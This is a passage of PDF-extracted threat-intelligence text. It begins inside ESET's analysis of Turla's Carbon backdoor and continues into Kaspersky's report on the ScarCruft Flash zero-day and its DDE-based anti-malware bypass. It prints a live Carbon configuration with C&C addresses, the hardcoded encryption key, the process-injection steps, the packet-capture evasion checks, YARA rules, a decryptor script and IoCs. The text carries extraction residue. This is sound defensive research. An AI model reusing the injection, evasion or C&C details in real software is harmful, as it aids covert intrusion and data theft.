MUTEX.ZRX (used to ensure exclusive access to vndkrmn.dic) Global\\DBWindowsBase (used to ensure exclusive access to C_56743.NLS) Global\\IEFrame.
LockDefaultBrowser (used to ensure exclusive access to b9s3coss.ax) Global\\WinSta0_DesktopSessionMut (used to ensure exclusive access to a67ncodc.ax) Global\5FA3BC02-920F-D42A-68BC-04F2A75BE158 (used to ensure exclusive access to new files created in Nls folder) 5/25 Global\\SENS.LockStarterCacheResource (used to ensure exclusive access to miniport.dat) Global\\ShimSharedMemoryLock (used to ensure exclusive access to asmcerts.rs) In carbon 3.8x, the filenames and the mutex names have changed: Global\\Stack.
Trace.
Multi.
TOS (used to ensure exclusive access to preinsta.jpg) Global\\TrackFirleSystemIntegrity (used to ensure exclusive access to dsntype.gif) Global\\BitswapNormalOps (used to ensure exclusive access to cifrado.xml) Global\\VB_crypto_library_backend (used to ensure exclusive access to encodebase.inf) Global\E41B9AF4-B4E1-063B-7352-4AB6E8F355C7 (used to ensure exclusive access to new files created in 0409 folder) Global\\Exchange.
Properties.
B (used to ensure exclusive access to wkstrend.xml) Global\\DatabaseTransSecurityLock (used to ensure exclusive access to xmlrts.png) These mutexes are also used in the injected dll to ensure that the orchestrator has been executed.
Configuration File The configuration file affects the malwares behavior.
The file format is similar to inf files used by Windows.
It contains among others: an object_id that is a unique uuid used to identify the victim, when the value is not set in the file, it is generated randomly by the malware a list of processes into which code is injected (iproc) the frequency and time for task execution / backup logs / connection to the CC ([TIME]) the IP addresses of other computers on the network ([CW_LOCAL]) the CC server addresses ([CW_INET]) the named pipes used to communicate with the injected library and with the other computers ([TRANSPORT]) This file might be updated later.
Indeed, in the communication library, some cryptographic keys are used to encrypt/decrypt data and these keys are retrieved from a section [CRYPTO] in the configuration file that does not exist when the file is dropped from the loader resources.
Carbon 3.77 configuration file: 1 2 3 4 5 6 span stylefont-family: courier new, courier, monospacecode data-langconsolespan classtok-go[NAME]/span span classtok-goobject_id/span span classtok-goiproc iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe/span span classtok-goex  ,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe/span 6/25 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 span classtok-go[TIME]/span span classtok-gouser_winmin  1800000/span span classtok-gouser_winmax  3600000/span span classtok-gosys_winmin  3600000/span span classtok-gosys_winmax  3700000/span span classtok-gotask_min  20000/span span classtok-gotask_max  30000/span span classtok-gocheckmin  60000/span span classtok-gocheckmax  70000/span span classtok-gologmin   60000/span span classtok-gologmax  120000/span span classtok-golastconnect111/span span classtok-gotimestop/span span classtok-goactive_con  900000/span span classtok-gotime2task3600000/span span classtok-go[CW_LOCAL]/span span classtok-goquantity  0/span span classtok-go[CW_INET]/span span classtok-goquantity  3/span span classtok-goaddress1  doctorshand.org:80:/wp-content/about//span span classtok-goaddress2  www.lasac.eu:80:/credit_payment/url//span span classtok-goaddress3  www.shoppingexpert.it:80:/wp-content/gallery//span span classtok-go[TRANSPORT]/span span classtok-gosystem_pipe  comnap/span span classtok-gospstatus  yes/span span classtok-goadaptable  no/span 7/25 40 41 42 43 44 45 46 47 48 span classtok-go[DHCP]/span span classtok-goserver  135/span span classtok-go[LOG]/span span classtok-gologperiod  7200/span span classtok-go[WORKDATA]/span span classtok-gorun_task/span span classtok-gorun_task_system/span/code/span Logfile The Carbon framework includes a logfile that is used to log actions performed by the malware and information on the system that can be useful to the malware operator (for example if an analysis tool such as WireShark is running on the machine).
The logs format has not changed since Carbon 3.71: DateTimeObject-IdSourceMessage example 1 2 3 4 5 span classtok-go[LOG]/span span classtok-gostart1/span span classtok-go20/02/1712:48:248hTdJtUBB57ieReZAOSgUYactssOPERNew object ID generated 8hTdJtUBB57ieReZAOSgUYacts/span span classtok-go20/02/1712:48:248hTdJtUBB57ieReZAOSgUYactssST3/810/span span classtok-go20/02/1712:48:248hTdJtUBB57ieReZAOSgUYactssSTART OK/span This file is periodically backed up and sent to the CC.
Dropper The dropper is the only executable that is not a DLL.
It is the first PE file to be executed: it is used to extract the other components from its resources.
The PE files that are used to load the main components are extracted into the Windows system directory while the orchestrator, the library used to communicate with the CC and the configuration file are extracted into the Carbon working directory.
8/25 A new section is appended into a random .inf file from SystemRoot\INF.
The sections name is the volume serial disk number of the compromised machine and a value root is created with the chosen Carbon working directory.
Example: 1 2 span classtok-go[5049654F]/span span classtok-gorootC:\Program Files\Windows Portable Devices/span Loader This part of the component is used to load the orchestrator.
A service that ensures Carbons persistency is created.
Its name can either be srservice, ipvpn or hkmsvc depending of the operating system version running on the compromised machine.
The Carbon working directory is retrieved by walking through the windir\inf folder and looking for the file that contains the Carbon base path.
Last but not least, the function ModuleStart (in Carbon 3.71) or ModStart (since Carbon 3.77) from the orchestrator (located in the Carbon base folder) is called.
Orchestrator The orchestrator is the main component of the Carbon framework.
It is mainly used to inject code into a process that communicates legitimately over the Internet and to dispatch the tasks received from the injected library to other computers on the same network either through named pipes or TCP.
Seven threads are created by the malware.
It is easy to identify Carbons characteristics because each thread has a specific role: Configuration fetching Because the configuration file can be updated by the malware, some attributes like the CC server addresses are monitored every 10 minutes.
Check Carbon storage folder periodically There is a storage folder located in the Carbon working directory.
This folder contains some files downloaded from the CC server (tasks that are either commands to be executed or PE files, and their configuration files).
This thread will run continuously and check every two hours whether there is still enough space available in this folder if not, a notification is written into the logfile.
9/25 Task execution The execution of the tasks in the context of the orchestrator process is very similar to the way in which it is performed in the communication library (cf Communication library / Tasks execution).
Unlike the communication library, it is the file encodebase.inf (for Carbon v3.8x) or a67ncode.ax that contains the list of the tasks to execute.
Each line of this file is composed in the following way: task_id  task_filepath  task_config_filepath  task_result_filepath  task_log_filepath [execution_mode  username  password] The five first fields are required, while the last three are optional.
If the field execution_mode exists, its value will affect the way the task is executed: 0 or 1: normal execution 2: the task is executed in the security context of a specific user (credentials are provided through the username/password fields) 3 or 4: the task is executed in the security context of the user represented by the explorer.exe token P2P Like Uroburos/Snake, Carbon can dispatch tasks to other computers from the same network via named pipe or TCP.
It is useful to be able to dispatch and execute tasks on computers that do not have Internet access.
Communication channels Uroburos used several types of communication transports than can be categorized as follows: type 1: TCP type 2: enc, np, reliable, frag, m2b, m2d type 3: t2m type 4: UDP, doms, domc 10/25 Carbon uses a reduced number of communication channels: type 1: TCP, b2m type 2: np, frag, m2b The data sent to peers are usually fragmented and transported either by TCP or via a named pipe.
If, for example, fragmented data are sent from a computer to another one by a named pipe, an object frag.np is set up.
In this case the mother class frag constructor will be called followed by a call to the constructor subclass np.
There is a structure composed of several handlers for each objects: initialize communication, 11/25 connection (to a pipe / IP address), read data, send data etc.
How a task is forwarded to another computer Several steps are performed to send data from one computer to another: a communication channel is created (frag.np or frag.tcp object) with a specific named pipe / ip address options are given to the object communication (for example : the fragments size, information about the peer etc.)
connection to the peer an authentication step is performed between the host and the peer: there is a handshake process where the host is sending the magic value A110EAD1EAF5FA11 and expects to receive C001DA42DEAD2DA4 from the peer a command WHO is sent to the peer where the host sends the victim uuid and expects to receive the same uuid if the authentication was successful, the data are sent to the peer All the communication between the host and the peer are encrypted with CAST-128 Note that this P2P feature is also implemented in the communication DLL.
Plugins This malware supports additional plugins to extend its functionalities.
In the configuration file, there is a section named PLUGINS.
It might not exist when the configuration file is dropped from the loader resources but this file can be updated by the malware.
The section PLUGINS contains a line formed this way: plugin_nameenabledmode[:username:password]file_path file_path can be either the path to a PE file or to a file containing a command line to be executed.
enabled is a string that is used to know if the plugin has to be executed.
If it is the case, that string value is enabled.
The attribute mode is used to control the context in which to execute the PE file/command line.
It can be either: 1  execution with current user privilege in the current process context through CreateProcess().
2  execution as the user specified in the configuration (:username:password attributes), the token of this specific user is retrieved through the LogonUserAs() function.
3  execution in the security context of the user represented by the explorer.exe token (the token of the process explorer.exe is duplicated and passed through the 12/25 CreateProcessAsUser() function.
4  similar than 3 but the environment variables for the user represented by the explorer.exe token are retrieved and passed to the function CreateProcessAsUser() If it is a PE file: the file is loaded into the malware process memory the module is parsed to check if it is a DLL if the module is a DLL and exports a function ModStart (since Carbon 3.77) or ModuleStart (for older versions of Carbon), a new thread is created to execute this function.
if the module is not a DLL but a valid PE, it is executed from the entry point.
Injection of the communication library into remote processes The library that is used to communicate with the CC server is injected into remote processes.
In order to know where to inject this DLL, the configuration file is parsed.
The section [NAME] contains a field iproc containing a list of processes that can legitimately communicate to Internet.
Example: 1 2 span classtok-go[NAME]/span span classtok-goiproc iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe/span For each process on the list that is running on the system, if its parent process name is either explorer.exe or ieuser.exe, the DLL will be injected into this process.
The process injection is very classical: the functions CreateToolHelp32Snapshot / Module32FirstW / Module32NextW are used to retrieve the base address of the module kernel32.dll the module EAT is parsed to get the address of the function LoadLibraryW the privilege SeDebugPrivilege is enabled for the current process memory is allocated into the remote process and the library path is written into it NtCreateThreadEx or CreateRemoteThread (if the address of the first function cannot be retrieved) is called to execute LoadLibraryW to load the DLL into the memory of the remote process Communication library The following analysis is based on the version 4.x of msximl.
This component may have changed in the latest versions.
Configuration fetching 13/25 Besides the code in the Configuration fetching thread from the orchestrator (which is similar), a field sethttp1 is retrieved from the [TRANSPORT] section.
If this value is set, HTTP 1.1 will be used for future connections.
Tasks execution The tasks are retrieved from the CC server.
The tasks to be executed by the communication library are listed in the file b9s3coff.ax (for Carbon v3.7x) or cifrado.xml (for Carbon v3.8x).
Each line of this file is composed in the following way: task_id  task_filepath  task_config_filepath  task_result_filepath  task_log_filepath The task file and its config are decrypted (CAST-128) and the task executed.
There are some options that are retrieved from the Carbon configuration file: time2task is used to set a timeout for the task execution (1 hour by default) while task_min and task_max are used as to wait a random time between the execution of the tasks on the task list (the random time will be set between task_min and task_max).
These parameters come from the section [TIME].
If the task is a valid DLL file, it is loaded in the current process memory and a new thread is created to execute its start export.
Otherwise, this is probably a command to execute.
In this case, the configuration file is parsed.
Like the Carbon configuration file, the task configuration file is formed as a windows inf file and should contain a section [CONFIG] with the following parameters: [CONFIG] NAME (cmd.exe by default) ARG RESULT (stdout by default) COMPRESSION (yes by default) DELETE (no by default) The command with its arguments is executed through CreateProcess() function and the results are stored in the task_result_filepath file if the RESULT option is not set to stdout, while error or additional info are added to the task logfile.
If the option RESULT is set to stdout: the result task file is deleted and the task execution output is written to the log task file the line task_id  1  task_log_filepath  object_id is added at the end of the file C_56743.NLS (Carbon 3.7x) or dsntype.gif (Carbon 3.8x) Otherwise: 14/25 the task execution is outputted to the task result file and the errors / additional info to the task logfile the line task_id  2  task_log_filepath  task_result_filepath  object_id is added at the end of the file C_56743.NLS (Carbon 3.7x) or dsntype.gif (Carbon 3.8x) In both cases, the same line as written into C_56743.NLS is also written into the field run_task from the Carbon configuration file.
It might be intended as a way for the malware authors to know which is the last task executed when the configuration file is sent to the CC server (check Configuration file backup).
Log rotation The logfile is backed up and sent to the CC server periodically (by default this is done every two hours).
Like the backup of the configuration file, this action is performed only during specific times of the day.
Indeed, the log rotation will be performed only when the current local time is in the range of what is defined in the configuration file.
The fields wh_min and wh_max are retrieved from the [TIME] section of the configuration file (by default: 8 and 20).
The thread will execute the code only if the current hour of the day is between wh_min and wh_max.
If there is a value for the attribute timestop from the [TIME] section (which looks like wDay:wMonth:wYear:wHour:wMinute), the thread will execute the code only after this specific datetime.
The attributes lastsend and logperiod from the [LOG] section are used to specify a delay time when to backup and send the log to the CC server.
(
by default: every two hours).
A temporary file with a random name prefixed by D is created in the folder 208 (for Carbon v3.7x) or 1033 (for Carbon v3.8x).
The logfile content is copied into this new file.
It is then compressed with Bzip2 and encrypted (CAST-128).
A new line is added at the end of the file C_56743.NLS (for Carbon v3.7x) or dsntype.gif (for Carbon v3.8x): 101ss 1st field: an ID to identify the file as a logfile 2nd field: 1 (file to be sent to the CC server) 3rd field: the temp file path 4rd field: the victim uuid Last but not least, the attribute lastsend is updated with the current time and the original logfile is deleted.
15/25 Communication with the CC server The code of this thread is used to retrieve new tasks from the CC server, to send new files to the server (the files listed in the file C_56743.NLS / dsntype.gif) and to send the new tasks to the orchestrator.
First request A random CC server address is chosen from the ones in the section CW_INET.
If the port and HTTP resource path are not specified, the default is to use port 80 and /javascript/view.php.
A user agent is set up in the following way: the version of Internet Explorer is retrieved through the registry key: HKLM\Software\Microsoft\Internet Explorer\Version and is concatenated to the string Mozilla/4.0 (compatible MSIE d.0 example: Mozilla/4.0 (compatible MSIE 8.0.6001.18702.0 concatenate the previous string with the OS major/minor version values (through GetVersionExA()) Mozilla/4.0 (compatible MSIE 8.0.6001.18702.0 Windows NT 5.1 Trident/4.0 enumerate the values key in HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform and concatenate each value to the previous string and then append a closing paren.
example: Mozilla/4.0 (compatible MSIE 8.0.6001.18702.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.30729 .NET CLR 3.5.30729 .NET4.0C .NET4.0E Media Center PC 6.0 SLCC2) The field trans_timemax from the section [TIME] is retrieved.
It is used to set the timeout for internet requests (through InternetSetOption()).
It has a value of 10 minutes by default.
A first GET request is performed on the root page of the CC web server to check that the host is alive.
If no packet capture is running on the system, a new request is done on the CC server to check if new tasks are available.
A PHPSESSID cookie is added to the request with the victim uuid as its value.
A header Referer is added as well and set to the CC server URL.
The malware is expecting to get an answer to the GET request similar to: input namename valuedata_in_b64 If the field value contains something, a new task is available.
Send data to the server 16/25 If the file C_56743.NLS / dsntype.gif is not empty, it means there are data to be sent the CC server.
The file is parsed and the last line is retrieved.
It contains details about the data to be sent.
A data blob is built and each of the following fields is encrypted with CAST-128: id  val  tmp_filesize  tmp_content  [OPTIONAL (if val  2) tmp2_filesize tmp2_content]  len_object_id  object_id id  the type of data to send to the CC server, it can be: 10: log backup 11: configuration file 20: a cryptographic key otherwise: an id associated to a task, it can be the result of a task or an error log in the case of task execution failure val  1 if there is only one file to send, 2 if there are two files object_id  the victim uuid 17/25 If the field dtc from the section [CRYPTO] of the configuration file is set to 0, this whole blob is base64 encoded and sent to the CC server through a POST request.
Otherwise, another layer of encryption is used.
In this case, the data blob is signed and a random 3DES key is used to encrypt it.
Because the 3DES key is randomly generated and the server needs it to decrypt the data, the key is encrypted with the server public key.
The server key is retrieved from the field publicc of the section [CRYPTO] from the configuration file.
This new blob (encrypted_key  signature_data  encrypted data) is encoded in base64 and sent to the CC server through a POST request.
In order to avoid detection based on the data size sent in a request, the blob can be fragmented into several packets.
An option in the configuration file (post_frag in the section [TRANSPORT]) defines whether the blob will be fragmented or sent in only one POST request.
If this option is set to yes, the blob is divided into several fragments of a specific size.
This size comes from another field in the configuration file: post_frag_size.
An additional header will be added to the request: Content-Range: bytes u-u/u idu\r\n, i, i(fragment_size-1), data_size, task_id If the option http11 is set, a specific header is added as well: Expect: 100-continue\r\n For each fragments sent, the fields post_frag_size and pfslastset from the config file (section [CW_INET_RESULTS]) are updated with the fragment size and the timestamp.
Get new tasks 18/25 New tasks are retrieved from the CC server by parsing the html page.
The malware expects to find the html tag input in the page with a base64 encoded blob in its value attribute.
Once decoded, this blob contains: an encrypted block of 128 bytes that contains a structure PUBLICKEYSTRUC followed by a cryptographic key (probably a 3DES key) signature data (128 bytes) to verify the integrity of the next block a block of encrypted data that contains the task The malware uses an RSA private key (retrieved from the field keypair from the section [CRYPTO] of the configuration file) to decrypt the first block and then uses the freshly decrypted key to decrypt the third block.
This block of data can be either: a task to be executed the data are decrypted and stored in few temporary files, the task (a command or a 19/25 PE file) and its configuration file in the Nls folder and the output files (file that will contains the task results and the logfile) are stored in the folder 0208 (or respectively 0409 and 1033 for Carbon v3.8x) task_id  task_filepath  task_config_filepath  task_result_filepath task_log_filepath this line is appended to beginning of the file b9s3coff.ax (cifrado.xml on v3.8x) a task to be executed by the orchestrator the data are decrypted and stored in few temporary files (the task, its configuration etc) in the Nls and 0208 folder (or 0409 and 1033 for Carbon v3.8x) depending of the content of the data, one of these lines will be added to the beginning of the file a67ncode.ax (encodebase.info on v3.8x) task_id  task_filepath  task_config_filepath  task_result_filepath task_log_filepath task_id  task_filepath  task_config_filepath  task_result_filepath task_log_filepath  execution_mode  username  password task_id  task_filepath  task_config_filepath  task_result_filepath task_log_filepath  execution_mode a new RSA server public key in this case, the configuration file is updated with the new key encoded in base64 (field publicc) data to be sent to an instance of Carbon running in another computer in the same network the data can contains a specific IP address and port, a named pipe or a named pipe with a username and password.
Check Internet availability Each hour, the internet connection is checked.
A first check is done by calling the function InternetAttemptConnect().
If it works, another test is done by sending HTTP GET requests to the following websites: www.google.com www.yahoo.com www.bing.com update.microsoft.com windowsupdate.microsoft.com microsoft.com An event is used to notify the other threads in case of the loss of Internet access.
Configuration file backup Similar to the logfile, the configuration file is also periodically backed up and sent to the CC server.
The thread executes the code in a specific range of time (between 8h and 20h by default) .
20/25 The value configlastsend is retrieved from the section [TIME] of the configuration file.
If the config file has been sent over a month ago, the config file is copied into a temporary file with a random name prefixed by D in the folder 208 (for Carbon v3.7x) or 1033 (for Carbon v3.8x).
This file is then encrypted with CAST-128 algorithm.
To notify the thread that communicates with the CC server that a new file is ready to be sent to the server, the following line is appending to the file C_56743.NLS (for Carbon v3.7x) or dsntype.gif (for Carbon v3.8x): 111ss 1st field: an ID to identify the file as a config file 2nd field: 1 (file to be sent to the CC server) 3rd field: the temp filepath 4rd field: the victim uuid Last but not least, the attribute configlastsend is updated with the current time.
Additional Notes Calling API functions The base address of the modules of interest are retrieved by either parsing the PEB or (if the modules are not loaded into the process memory) by loading the needed files from disk into memory and parsing their headers to get their base addresses.
Once the base addresses are retrieved, the PEB is walked again and the field LoadCount from the structure LDR_DATA_TABLE_ENTRY is checked.
This value is used as a reference counter, to track the loading and unloading of a module.
If LoadCount is positive, the module EAT is parsed to get the needed function address.
Encryption The module and function names are encrypted (at least since v3.77 it was not the case in v3.71) in a simple way, a logical shift of 1 bit being applied to each characters.
The processes names are encrypted as well by just XORing each character with the key 0x55 (for Carbon v3.7x at least since v3.77) and with the key 0x77 for Carbon v3.8x.
With only a few the exceptions, each file from the Carbon working directory is encrypted with the CAST-128 algorithm in OFB mode.
The same key and IV are used from the version 3.71 until the version 3.81: key  \x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10 IV  \x12\x34\x56\x78\x9A\xBC\xDE\xF0 Check if packet capture is running 21/25 Before communicating with the CC server or with other computers, the malware ensures that none of the most common packet capture software is running on the system: TCPdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe dsniff.exe If any of these processes are running, no communication will be done.
Carbon IoCs are also available on ESETs GitHub repository https://github.com/eset/malware- ioc/tree/master/turla Appendices Yara rules import pe rule generic_carbon  strings: s1  ModStart s2  ModuleStart t1  STOPOK t2  STOPKILL condition: (uint16(0)  0x5a4d) and (1 of (s)) and (1 of (t))  rule carbon_metadata  condition: (pe.version_info[InternalName] contains SERVICE.EXE or pe.version_info[InternalName] contains MSIMGHLP.DLL or pe.version_info[InternalName] contains MSXIML.DLL) and pe.version_info[CompanyName] contains Microsoft Corporation  Carbon files decryptor/encryptor carbon_tool.py 22/25 https://github.com/eset/malware-ioc/tree/master/turla /usr/bin/env python2 from Crypto.
Cipher import CAST import sys import argparse def main(): parser  argparse.
ArgumentParser(formatter_classargparse.
RawTextHelpFormatter) parser.add_argument(-e, encrypt, helpencrypt carbon file, requiredFalse) parser.add_argument(-d, decrypt, helpdecrypt carbon file, requiredFalse) try: args  parser.parse_args() except IOError as e: parser.error(e) return 0 if len(sys.argv)  3: parser.print_help() return 0 key  \x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10 iv  \x12\x34\x56\x78\x9A\xBC\xDE\xF0 cipher  CAST.new(key, CAST.MODE_OFB, iv) if args.encrypt: plaintext  open(args.encrypt, rb).read() while len(plaintext)  8  0: plaintext  \x00 data  cipher.encrypt(plaintext) open(args.encrypt  _encrypted, wb).write(data) else: ciphertext  open(args.decrypt, rb).read() while len(ciphertext)  8  0: ciphertext  \x00 data  cipher.decrypt(ciphertext) open(args.decrypt  _decrypted, wb).write(data) if __name__  __main__: main() https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technical- reports/technical-report_apt_case_ruag.html 23/25 https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technical-reports/technical-report_apt_case_ruag.html Table 2  Carbon sample hashes SHA1 hash 7f3a60613a3bdb5f1f8616e6ca469d3b78b1b45b a08b8371ead1919500a4759c2f46553620d5a9d9 4636dccac5acf1d95a474747bb7bcd9b1a506cc3 cbde204e7641830017bb84b89223131b2126bc46 1ad46547e3dc264f940bf62df455b26e65b0101f a28164de29e51f154be12d163ce5818fceb69233 7c43f5df784bf50423620d8f1c96e43d8d9a9b28 7ce746bb988cb3b7e64f08174bdb02938555ea53 20393222d4eb1ba72a6536f7e67e139aadfa47fe 1dbfcb9005abb2c83ffa6a3127257a009612798c 2f7e335e092e04f3f4734b60c5345003d10aa15d 311f399c299741e80db8bec65bbf4b56109eedaf fbc43636e3c9378162f3b9712cb6d87bd48ddbd3 554f59c1578f4ee77dbba6a23507401359a59f23 2227fd6fc9d669a9b66c59593533750477669557 87d718f2d6e46c53490c6a22de399c13f05336f0 1b233af41106d7915f6fa6fd1448b7f070b47eb3 851e538357598ed96f0123b47694e25c2d52552b 744b43d8c0fe8b217acf0494ad992df6d5191ed9 bcf52240cc7940185ce424224d39564257610340 777e2695ae408e1578a16991373144333732c3f6 56b5627debb93790fdbcc9ecbffc3260adeafbab 678d486e21b001deb58353ca0255e3e5678f9614 Table 3  CC server addresses (hacked websites used as 1st level of proxies CC server address soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php 24/25 doctorshand.org:80:/wp-content/about/ www.lasac.eu:80:/credit_payment/url/ CC server address Notes 25/25 Carbon Paper: Peering into Turlas second stage backdoor Infection vectors Technical analysis Global architecture Carbon Dating Carbon files Working directory File access Mutexes Configuration File Logfile Dropper Loader Orchestrator Configuration fetching Check Carbon storage folder periodically Task execution P2P Communication channels How a task is forwarded to another computer Plugins Injection of the communication library into remote processes Communication library Configuration fetching Tasks execution Log rotation Communication with the CC server First request Send data to the server Get new tasks Check Internet availability Configuration file backup Additional Notes Calling API functions Encryption Check if packet capture is running Appendices Yara rules Carbon files decryptor/encryptor Table 2  Carbon sample hashes Table 3  CC server addresses (hacked websites used as 1st level of proxies
By Costin Raiu , Anton Ivanov on June 17, 2016.
6:00 am Flash zero-day exploit deployed by the ScarCruft APT Group securelist.com/operation-daybreak/75100/ Earlier this year, we deployed new technologies in Kaspersky Lab products to identify and block zero-day attacks.
This technology already proved its effectiveness earlier this year, when it caught an Adobe Flash zero day exploit (CVE-2016-1010).
Earlier this month, our technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks.
We believe the attacks are launched by an APT Group we track under the codename ScarCruft.
ScarCruft is a relatively new APT group victims have been observed in Russia, Nepal, South Korea, China, India, Kuwait and Romania.
The group has several ongoing operations, utilizing multiple exploits  two for Adobe Flash and one for Microsoft Internet Explorer.
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown (0-day) Adobe Flash Player exploit.
It is also possible that the group deployed another zero day exploit, CVE-2016-0147, which was patched in April.
This exploit caught by our technologies highlights a few very interesting evasion methods, some of which we havent seen before.
We describe them below.
Operation Daybreak general information Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails.
To date, we have observed more than two dozen victims for these attacks.
Although the exact attack vector remains unknown, the targets appear to receive a malicious link which points to a hacked website where the exploitation kit is hosted.
The hacked web server hosting the exploit kit is associated with the ScarCruft APT and used in another line of attacks.
Certain details, such as using the same infrastructure and targeting, make us believe that Operation Daybreak is being done by the ScarCruft APT group.
The ScarCruft APT group is a relatively new player and managed to stay under the radar for some time.
In general, their work is very professional and focused.
Their tools and techniques are well above the average.
Prior to the discovery of Operation Daybreak, we observed the ScarCruft APT launching a series of attacks in Operation Erebus.
Operation Erebus leverages another Flash Player exploit (CVE-2016-4117) through the use of watering hole attacks.
1/8 https://securelist.com/operation-daybreak/75100/ https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191207/scarcruft_eng_1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191202/scarcruft_eng_2.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191200/scarcruft_eng_3.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191158/scarcruft_eng_4.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191155/scarcruft_eng_5.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191150/scarcruft_eng_6.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191147/scarcruft_eng_7.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191143/scarcruft_eng_8.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191140/scarcruft_eng_9.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191136/scarcruft_eng_10.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191131/scarcruft_eng_11.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/06/07191127/scarcruft_eng_12.png In the case of Operation Daybreak, the hacked website hosting the exploit kit performs a couple of browser checks before redirecting the visitor to a server controlled by the attackers hosted in Poland.
The main exploit page script contains a BASE64 decoder, as well as rc4 decryption implemented in JS.
The parameters sent to the ap.php script are randomly generated on each hit, so the second stage payload gets encrypted differently each time.
This prevents easy detection by MD5 or signatures of the second stage payload.
The exploitation process consists of three Flash objects.
The Flash object that triggers the vulnerability in Adobe Flash Player is located in second SWF delivered to the victim.
At the end of the exploitation chain, the server sends a legitimate PDF file to user  china.pdf.
The china.pdf file shown to the victims in the last stage of the attack seems to be written in Korean: Decoy document shown to victims The document text talks about disagreements between China and The North over nuclear programs and demilitarization.
Vulnerability technical details The vulnerability (CVE-2016-4171) is located in the code which parses the ExecPolicy metadata information.
This is what the structure looks like: 2/8 This structure also contains an array of item_info structures: The documentation says the following about these structures: The item_info entry consists of item_count elements that are interpreted as key/value pairs of indices into the string table of the constant pool.
If the value of key is zero, this is a keyless entry and only carries a value.
In the exploit used by the ScarCruft group, we have the following item_info structures: Item_info array in exploit object The code that triggers the vulnerability parses this structure and, for every key and value members, tries to get the respective string object from string constant pool.
The problem relies on the fact that the .key and .value members are used as indexes without any kind of boundary checks.
It is easy to understand that if key or value members are larger than string constant pool array, a memory corruption problem appears.
It is also important to mention that this members (value, key) are directly read from SWF object, so an attacker can easily use them to implement arbitrary read/write operations.
3/8 Getting object by index from constant pool without any checks Using this vulnerability, the exploit implements a series of writes at specified addresses to achieve full remote code execution.
Bypassing security solutions through DDE The Operation Daybreak attack employs multiple stages, which are all outstanding in some way.
One of them attracted our attention because it implements a bypass for security solutions we have never seen before.
In the first stage of the attack, the decrypted shellcode executed by the exploit downloads and executes a special DLL file.
This is internally called yay_release.dll: Second stage DLL internal name and export The code of this module is loaded directly into the exploited application and has several methods of payload execution.
One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products.
This uses an 4/8 interesting bug in the Windows DDE component.
It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute.
For instance, such defense technologies trigger if a potentially vulnerable application such as Adobe Flash starts other untrusted applications, scripts interpreters or even the command console.
To make execution of payload invisible for these defense systems, the threat actors used the Windows DDE interface in a very clever way.
First, they register a special window for it: In the window procedure, they post WM_DDE_EXECUTE messages with commands: Sending WM_DDE_EXECUTE message to window The attackers used the following commands: The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed.
This is an undocumented behavior in Microsoft Windows.
5/8 In our case, a malicious VBS was executed, which installs a next stage payload stored in CAB file: Malicious VBS used in the attack We have reported this creative abuse of DDE to Microsofts security team.
The final payload of the attack is a CAB file with the following MD5: 8844a537e7f533192ca8e81886e70fbc The MS CAB file (md5: 8844a537e7f533192ca8e81886e70fbc) contains 4 malicious DLL files: MD5 Filename a6f14b547d9a7190a1f9f1c06f906063 cfgifut.dll e51ce28c2e2d226365bc5315d3e5f83e cldbct.dll 067681b79756156ba26c12bc36bf835c cryptbase.dll f8a2d4ddf9dc2de750c8b4b7ee45ba3f msfte.dll The file cldbct.dll (e51ce28c2e2d226365bc5315d3e5f83e) connects to the following C2: hXXp://webconncheck.myfw[.
]us:8080/8xrss.php The modules are signed by an invalid digital certificates listed as Tencent Technology (Shenzhen) Company Limited with serial numbers, copied from real Tencent certificates: 5d 06 88 f9 04 0a d5 22 87 fc 32 ad ec eb 85 b0 71 70 bd 93 cf 3f 18 9a e6 45 2b 51 4c 49 34 0e 6/8 Invalid digital signature on malware samples The malware deployed in this attack is extremely rare and apparently reserved only for high profile victims.
Our products detect it as well as other malware from ScarCruft as HEUR:Trojan.
Win32.ScarCruft.gen.
